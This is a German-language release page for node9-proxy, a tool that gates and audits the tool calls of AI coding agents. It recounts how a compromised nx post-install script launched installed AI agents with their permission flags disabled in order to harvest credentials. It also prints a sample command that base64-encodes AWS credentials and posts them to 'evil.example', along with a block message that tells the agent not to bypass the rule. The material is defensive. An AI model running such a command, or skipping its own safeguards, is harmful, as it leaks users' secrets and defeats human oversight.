Zurück zu den Updates
New releaseJul 26, 2026

node9-proxy v1.67.0

Die Ausführungssicherheitsschicht für das agentenbasierte Zeitalter. Bietet deterministische 'Sudo'-Governance und Prüfprotokolle für autonome KI-Agenten.

Teilen

🛡️ node9

Zugriffskontrolle für KI-Agenten

Ihre KI-Agenten können auf Slack, GitHub, E-Mail und Ihre Datenbank zugreifen.
node9 entscheidet, was sie mit jedem einzelnen tun dürfen.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Credential Jail · Secrets und PII · destruktives Git, SQL und Shell zur Überprüfung angehalten · MCP-Tool-Pinning · Netzwerk-Egress-Allowlist · Loop-Breaker · ein Datensatz über zwölf Agenten hinweg

Funktioniert mit Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · jedem MCP-Server.

Wie es aussieht

Eine echte Claude-Code-Sitzung mit installiertem node9. Jeder Tool-Aufruf wird geprüft, bevor er ausgeführt wird. Das Erstellen einer Seite und das Bearbeiten einer Schaltfläche werden ausgeführt. Eine Anfrage an die Cloud- Metadaten-Adresse wird blockiert, und der Agent erhält den Grund und macht weiter. Das Löschen von Dateien wartet auf Ihre Genehmigung, direkt im Chat.

node9 in einer Claude-Code-Sitzung: zwei Aufrufe erlaubt, einer blockiert, einer zur Genehmigung angehalten

Installation

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Dann in einem beliebigen Projekt:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Erfordert Node.js 22+.

In einem neuen interaktiven Terminal führt node9 Sie durch die Einrichtung. Lokaler Schutz benötigt kein Konto. Die Checkliste zeigt empfohlene Shields, DLP/PII, optionale Netzwerk-Egress-Überprüfung und den Hintergrunddienst. Nutzungsstatistiken werden nur gesendet, wenn Sie die separate Aufforderung akzeptieren. Die Zusammenfassung listet konfigurierte Agenten und alle Einrichtungsschritte auf, die Aufmerksamkeit erfordern.

Führen Sie node9 setup aus, um die Einrichtung erneut aufzurufen, oder node9 setup <target>, um einen Agenten zu konfigurieren. Nach der Konfiguration zeigt ein bloßes node9 die Hilfe an. node9 init bleibt verfügbar; für Skripte verwenden Sie node9 init --recommended (keine Fragen und kein Telemetrie-Opt-in). --skip-setup lässt die Agenten-Verkabelung und die Dienstinstallation unberührt. Ein expliziter --mode hat Vorrang vor der Standardmodus-Empfehlung der Checkliste. Bestehende Einstellungen bleiben erhalten, es sei denn, ausgewählte Änderungen oder explizite Flags fordern eine Aktualisierung an. Die Workspace-Richtlinie wird im Dashboard verwaltet; Diensteinstellungen bleiben lokal.

login fügt der Durchsetzung nichts hinzu. Es verbindet die Maschine mit einem Workspace, damit ein Team einen Datensatz über die Laptops und CI aller hinweg sehen, Richtlinien zentral festlegen und angehaltene Aktionen über ein Dashboard oder Slack genehmigen kann. Überspringen Sie es, und node9 funktioniert genau gleich, allein, offline. node9 logout trennt die Verbindung wieder, und die lokale Durchsetzung läuft weiter.

Verwendung als MCP-Server

node9 läuft auch als MCP-Server, sodass ein Agent seinen Status, seine Posture, seinen Audit- Datensatz und seine Richtlinie lesen und jede Entscheidung aus der Konversation heraus erklären kann:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Jeder MCP-Client funktioniert auf die gleiche Weise: Der Befehl lautet npx -y node9-ai mcp-server über stdio, ohne API-Schlüssel. Er ist im offiziellen MCP-Registry als io.github.node9-ai/node9 gelistet.

Das Problem

Im August 2025 lieferten kompromittierte Releases des nx-Build-Tools ein Post-Install- Skript aus, das nach bereits auf dem Entwicklerrechner installierten KI-Coding-Agenten suchte und sie dann mit ihren eigenen deaktivierten Sicherheits-Flags (--dangerously-skip-permissions, --yolo, --trust-all-tools) ausführte, um SSH-Schlüssel, Cloud-Anmeldedaten und Wallet-Dateien zu enumerieren und die Liste auf die Festplatte zu schreiben. Das Skript übertrug die Ergebnisse in öffentliche Repositories innerhalb der eigenen GitHub- Konten der Opfer. Mehr als tausend gültige GitHub-Token gelangten an die Öffentlichkeit, zusammen mit Cloud-Anmeldedaten, npm- Token und rund 20.000 Dateien, von Maschinen, auf denen der Agent genau das tat, was ihm gesagt wurde.

Der Agent war nicht der Angreifer. Der Agent war das Werkzeug, und nichts stand zwischen ihm und den Dateien. Das Gate von node9 ist keines dieser Flags: Es läuft im Hook, und eine Aktion, die es anhält, bleibt angehalten, selbst wenn der Agent mit übersprungenen Berechtigungen gestartet wurde.

Was node9 dagegen tut

node9 sitzt zwischen dem Agenten und jedem Tool, das er aufruft. Das Credential Jail (~/.ssh, ~/.aws, .env-Dateien, private Schlüssel) ist standardmäßig aktiv, und ein Lesezugriff auf einen dieser Pfade wird nicht ausgeführt. Der Agent wird gestoppt, ihm wird der Grund mitgeteilt, und die Entscheidung erreicht Sie:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

Der Befehl wird als Shell-AST geparst, nicht als Text abgeglichen, sodass das Umhüllen des Lesezugriffs nicht hilft. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example wird als Lesezugriff auf ~/.aws/credentials beurteilt, nicht als echo.

node9 ist ein Gate. Eine angehaltene Aktion wird nicht ausgeführt, während sie auf Sie wartet, und wenn Sie nie antworten, bleibt sie blockiert. Alles andere ist erlaubt und wird im Datensatz festgehalten.

Kategorien